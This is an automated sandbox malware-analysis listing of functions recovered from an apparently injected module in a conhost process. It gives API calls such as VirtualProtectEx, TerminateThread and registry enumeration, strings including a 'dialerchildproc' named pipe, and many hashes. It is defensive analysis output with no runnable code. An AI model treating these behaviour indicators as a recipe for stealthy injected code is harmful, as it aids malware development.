Opcode Fuzzy Hash: 97224decaf04aa8a96cad19aafa8d0fc2d444fbfe93f120d80d8953d06d5a995
Instruction Fuzzy Hash: A0E16B72608BA08EEF609F65E4803ED77E4F745B98F144116EF8957BAAEB34C5A0D700

Function 0000014ECB4AF7C4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 0000014ECB4AF940
GetProcAddress.KERNEL32 ref: 0000014ECB4AF94C

Strings

ext-ms-, xrefs: 0000014ECB4AF89D
api-ms-, xrefs: 0000014ECB4AF88A

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction ID: 17ed73d54c8fdc2a599f6902ab65a48de7f13dba2891dd6f55d737314785330f
Opcode Fuzzy Hash: 00167ab4370d744fa0294c6334099228d3e91a4042df4aa134bc83b99d5d7789
Instruction Fuzzy Hash: 6741D331319A2099FF16CB26B8907D563D5BB49BE0F0841299F0ED77A4FF38C455A310

Function 0000014ECB4A104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000014ECB4A10B1
RegEnumValueW.ADVAPI32 ref: 0000014ECB4A1117
GetProcessHeap.KERNEL32 ref: 0000014ECB4A115A
HeapAlloc.KERNEL32 ref: 0000014ECB4A1168
GetProcessHeap.KERNEL32 ref: 0000014ECB4A1185
HeapFree.KERNEL32 ref: 0000014ECB4A1193

Strings

d, xrefs: 0000014ECB4A10D6

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction ID: 327ed56d75768546d4c96c66431f82e05233670e2f6e666bacf9bcaefda00692
Opcode Fuzzy Hash: 4fe3aae0cbb599a1eee1f2be40b2bdf186d2f5bad4b5f62f31428b11ea11a368
Instruction Fuzzy Hash: 2E414073218B80CAEB60CF61E4847AAB7E1F389B98F448115DB8947768EF38C559CB40

Function 0000014ECB4AD498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,0000014ECB4ACC0E,?,?,?,?,?,?,?,?,0000014ECB4AD3CD,?,?,00000001), ref: 0000014ECB4AD4B7
FlsSetValue.KERNEL32(?,?,?,0000014ECB4ACC0E,?,?,?,?,?,?,?,?,0000014ECB4AD3CD,?,?,00000001), ref: 0000014ECB4AD4D6
FlsSetValue.KERNEL32(?,?,?,0000014ECB4ACC0E,?,?,?,?,?,?,?,?,0000014ECB4AD3CD,?,?,00000001), ref: 0000014ECB4AD4FE
FlsSetValue.KERNEL32(?,?,?,0000014ECB4ACC0E,?,?,?,?,?,?,?,?,0000014ECB4AD3CD,?,?,00000001), ref: 0000014ECB4AD50F
FlsSetValue.KERNEL32(?,?,?,0000014ECB4ACC0E,?,?,?,?,?,?,?,?,0000014ECB4AD3CD,?,?,00000001), ref: 0000014ECB4AD520

Strings

1%, xrefs: 0000014ECB4AD4FE
Y%, xrefs: 0000014ECB4AD4D6

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction ID: 7d315654c9dcf7b0afa7132404ae8d41cc7bad07c14864e48fef086bec9feb39
Opcode Fuzzy Hash: 414de4670033e7547a0a5b3bdda6d862915786416a62f5675f2ee32494ca94ec
Instruction Fuzzy Hash: FE11827074D2704AFE989726B5D13E922C27B847F4F544324AB39467F6FF28C422A600

Function 0000014ECB4A2334 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000014ECB4A2349
GetCurrentProcessId.KERNEL32 ref: 0000014ECB4A2353
CreateFileW.KERNEL32 ref: 0000014ECB4A2384
WriteFile.KERNEL32 ref: 0000014ECB4A23AC
ReadFile.KERNEL32 ref: 0000014ECB4A23CB
CloseHandle.KERNEL32 ref: 0000014ECB4A23D4

Strings

\\.\pipe\dialerchildproc, xrefs: 0000014ECB4A2365

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\dialerchildproc
API String ID: 166002920-1933775637
Opcode ID: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction ID: 4c5e2e94b44711ba4bcf4e331fbc922772a92f55871ec22093fc2c154d80ded9
Opcode Fuzzy Hash: 46ac6f3595cd08ba72cfe16ac14249d71bcf4bf6cdab2aa291378c72e2095538
Instruction Fuzzy Hash: 3B115E32618B5087EB10CB25F48439AB7B1F389BE5F544315EB5A42BA8EF7CC149DB00

Function 0000014ECB4A7940 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000014ECB4A7968
__scrt_acquire_startup_lock.LIBCMT ref: 0000014ECB4A79BA
_RTC_Initialize.LIBCMT ref: 0000014ECB4A79E8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000014ECB4A7A0E
__scrt_release_startup_lock.LIBCMT ref: 0000014ECB4A7A39

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction ID: 9713f38f21fd1e9effc4a6887e95cd27bcf127c6256b1b5bb2993a5358509439
Opcode Fuzzy Hash: c075132b8ffb7c8aa12930f0dbbf7461f30bd8bef12e3c9d76da9105ae1b8dff
Instruction Fuzzy Hash: 8981A17160C6618EFE74AB65B4C13D967D0BBA5B84F044025EB09877F6FB38C966B700

Function 0000014ECB4AA1F4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,0000014ECB4AA3B3,?,?,?,0000014ECB4A9B9C,?,?,?,?,0000014ECB4A96BD), ref: 0000014ECB4AA279
GetLastError.KERNEL32(?,?,?,0000014ECB4AA3B3,?,?,?,0000014ECB4A9B9C,?,?,?,?,0000014ECB4A96BD), ref: 0000014ECB4AA287
LoadLibraryExW.KERNEL32(?,?,?,0000014ECB4AA3B3,?,?,?,0000014ECB4A9B9C,?,?,?,?,0000014ECB4A96BD), ref: 0000014ECB4AA2B1
FreeLibrary.KERNEL32(?,?,?,0000014ECB4AA3B3,?,?,?,0000014ECB4A9B9C,?,?,?,?,0000014ECB4A96BD), ref: 0000014ECB4AA2F7
GetProcAddress.KERNEL32(?,?,?,0000014ECB4AA3B3,?,?,?,0000014ECB4A9B9C,?,?,?,?,0000014ECB4A96BD), ref: 0000014ECB4AA303

Strings

api-ms-, xrefs: 0000014ECB4AA299

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction ID: 315d49ae515e22d09acecf625597c9866e29bf24ea6e77f520b0a00998addd55
Opcode Fuzzy Hash: c60201aec778344204bcef1649fbeec24da53dc38ebde7e62b727d681ed7f771
Instruction Fuzzy Hash: 6831D43230AA60E9EE12DB46B8907D563D4B708BA4F590635DF1E4B3A1FF39C165A301

Function 0000014ECB4B41E4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000014ECB4B4215
GetLastError.KERNEL32 ref: 0000014ECB4B4221
CloseHandle.KERNEL32 ref: 0000014ECB4B4239
CreateFileW.KERNEL32 ref: 0000014ECB4B4264
WriteConsoleW.KERNEL32 ref: 0000014ECB4B4283

Strings

CONOUT$, xrefs: 0000014ECB4B4245

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction ID: f0b3e8d22400d30651ca63fd9f6201fa31c303bd2c6624daa0c61d426bd3b8cb
Opcode Fuzzy Hash: 825ce686359a22e25232def11d6f08b48dee252c530cecc749e4dc9d381a3549
Instruction Fuzzy Hash: E9115831218E408AEB909B56F894399B6E4F798FE4F044225EB5E877A4EB38C8049740

Function 0000014ECB4A3BC0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3BCE
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3BFC
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3C1E
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3C39
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000014ECB4A365F), ref: 0000014ECB4A3C5A

Strings

wr, xrefs: 0000014ECB4A3C2F

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction ID: eef9f01c175c8afa8dbd0e2b37c20d14cfe9224878dd879ff40bd6fb4b73b2d4
Opcode Fuzzy Hash: 1983e7b2aaee179c95f49a9ecb428acdca8d3318c5669cc08ca5f07c1a06eaeb
Instruction Fuzzy Hash: 36118E36308B4086EF549B26F4882AAA2A2F748B94F040428DF8D437A4FF3DC5549704

Function 0000014ECB4A5F60 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000014ECB4A5F9B
GetThreadContext.KERNEL32 ref: 0000014ECB4A6105

Part of subcall function 0000014ECB4A5D90: GetCurrentThreadId.KERNEL32 ref: 0000014ECB4A5D94

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction ID: 5c5425290c7b52324c38432af8d52233fbec9f91776618870fd96173ccda74e3
Opcode Fuzzy Hash: 6eebb9b89febcdc057b9e2366de4ef2aabdd815d2606de48d9a359409e558620
Instruction Fuzzy Hash: 8ED18876208B988ADE709B1AF4D439AB7E0F788B84F100116EB8D47BB5EF39C551DB00

Function 0000014ECB4A31CC Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?,?,0000014ECB4A22ED), ref: 0000014ECB4A31EF
HeapAlloc.KERNEL32(?,?,?,?,?,0000014ECB4A22ED), ref: 0000014ECB4A3202
StrCmpNIW.SHLWAPI(?,?,?,?,?,0000014ECB4A22ED), ref: 0000014ECB4A3277
GetProcessHeap.KERNEL32(?,?,?,?,?,0000014ECB4A22ED), ref: 0000014ECB4A32DD
HeapFree.KERNEL32(?,?,?,?,?,0000014ECB4A22ED), ref: 0000014ECB4A32EB

Strings

dialer, xrefs: 0000014ECB4A3270

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction ID: ee4abd6b53e7e1360e352c12e4a443d4582f028ca2cad071ee549152e69d5c41
Opcode Fuzzy Hash: b0319cbd86f06d073dcced0acdf6bc1c6042bb64f80e9fc0b828a3d11e191795
Instruction Fuzzy Hash: 69318D32709B618AEF50DF96F9947AAA3E2FB54B80F0840248F4847B65FF38D4759700

Function 0000014ECB4AD3D0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0000014ECB4ADAE5,?,?,?,?,0000014ECB4ADBA8), ref: 0000014ECB4AD3DF
FlsSetValue.KERNEL32(?,?,?,0000014ECB4ADAE5,?,?,?,?,0000014ECB4ADBA8), ref: 0000014ECB4AD415
FlsSetValue.KERNEL32(?,?,?,0000014ECB4ADAE5,?,?,?,?,0000014ECB4ADBA8), ref: 0000014ECB4AD442
FlsSetValue.KERNEL32(?,?,?,0000014ECB4ADAE5,?,?,?,?,0000014ECB4ADBA8), ref: 0000014ECB4AD453
FlsSetValue.KERNEL32(?,?,?,0000014ECB4ADAE5,?,?,?,?,0000014ECB4ADBA8), ref: 0000014ECB4AD464
SetLastError.KERNEL32(?,?,?,0000014ECB4ADAE5,?,?,?,?,0000014ECB4ADBA8), ref: 0000014ECB4AD47F

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction ID: d9cd7472ae20f1cfecc0355ec7d51c513d08cf06d2b1364651a82dcf923acab8
Opcode Fuzzy Hash: 7fc5e4c2f951738899047b95e00f4424a4026db9f78df7ad039e65ab4a94a20b
Instruction Fuzzy Hash: 4D115E7430D6B08AFE64972275C53E961D67B48BF0F144324AB3647AF6FB28D421A200

Function 0000014ECB4A1934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000014ECB4A195A
K32GetModuleFileNameExW.KERNEL32 ref: 0000014ECB4A1978
PathFindFileNameW.SHLWAPI ref: 0000014ECB4A1987
lstrlenW.KERNEL32 ref: 0000014ECB4A1993
StrCpyW.SHLWAPI ref: 0000014ECB4A19A6
CloseHandle.KERNEL32 ref: 0000014ECB4A19B4

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction ID: dac20ba40e4ab18405f106993ada258ddb34ec7eb8b8d334af9d18a2e780dfa7
Opcode Fuzzy Hash: b82d1bbac2a4a5b9d6dbe5f2df15dcec51c980f52b633491719cdad5f7bdf37e
Instruction Fuzzy Hash: B3011731708A408AEE14DB12B898799A2E5F788FC0F484134DF8A83768EF38C989D740

Function 0000014ECB4A3B0C Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,0000014ECB4A36B0), ref: 0000014ECB4A3B28
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000014ECB4A36B0), ref: 0000014ECB4A3B36
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000014ECB4A36B0), ref: 0000014ECB4A3B58
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000014ECB4A36B0), ref: 0000014ECB4A3B76
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000014ECB4A36B0), ref: 0000014ECB4A3B97
TerminateThread.KERNEL32(?,?,?,?,?,0000014ECB4A36B0), ref: 0000014ECB4A3BA6

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction ID: daa1f254b24549814455c8832ccdf00eccf9ee84d069f52ed4131b42f87bfcc6
Opcode Fuzzy Hash: 8662155c9f7376030badf6deb1f9cc8df7edcdadcbb5a73039a50034e0df76dd
Instruction Fuzzy Hash: 34011735619B448AEF249B26F88879AB3E1BB59B45F040428CF4D467B6FF3DC458A700

Function 0000014ECB478835 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014ECB478843
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014ECB4788D8

Strings

f, xrefs: 0000014ECB478856
displacement map', xrefs: 0000014ECB4788D1
csm, xrefs: 0000014ECB4788BE

Memory Dump Source

Source File: 00000043.00000003.1816877183.0000014ECB470000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000014ECB470000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_3_14ecb470000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: displacement map'$csm$f
API String ID: 3242871069-3478954885
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: 33f1637741e2313f0f6f6dcb5c428a236f5c974285f55f870c9bc43a16145b1b
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: A451AB727196008EEF54CB26F484B9937E5F390B9AF518125DB86637A8FB35C841E701

Function 0000014ECB4A9435 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014ECB4A9443
_IsNonwritableInCurrentImage.LIBCMT ref: 0000014ECB4A94D8
RtlUnwindEx.NTDLL ref: 0000014ECB4A9527

Strings

f, xrefs: 0000014ECB4A9456
csm, xrefs: 0000014ECB4A94BE

Memory Dump Source

Source File: 00000043.00000002.2003282746.0000014ECB4A1000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000014ECB4A0000, based on PE: true

Associated: 00000043.00000002.2002968935.0000014ECB4A0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003349430.0000014ECB4B6000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003375607.0000014ECB4C1000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003398250.0000014ECB4C3000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000043.00000002.2003420456.0000014ECB4C9000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_14ecb4a0000_conhost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction ID: 965eb8a26f9da2d3bec19079d3500027326f479bd9ad565bcb908c9c5e6603b4
Opcode Fuzzy Hash: 911b6d09506e82739bdc666af230172d8f47b592f6a0b26bc0314746b579121d
Instruction Fuzzy Hash: A751AB336196208EEF18CB25F488BD933E9F340B98F518124DB16877A8FB35C961E704

Function 0000014ECB478818 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000014ECB478843
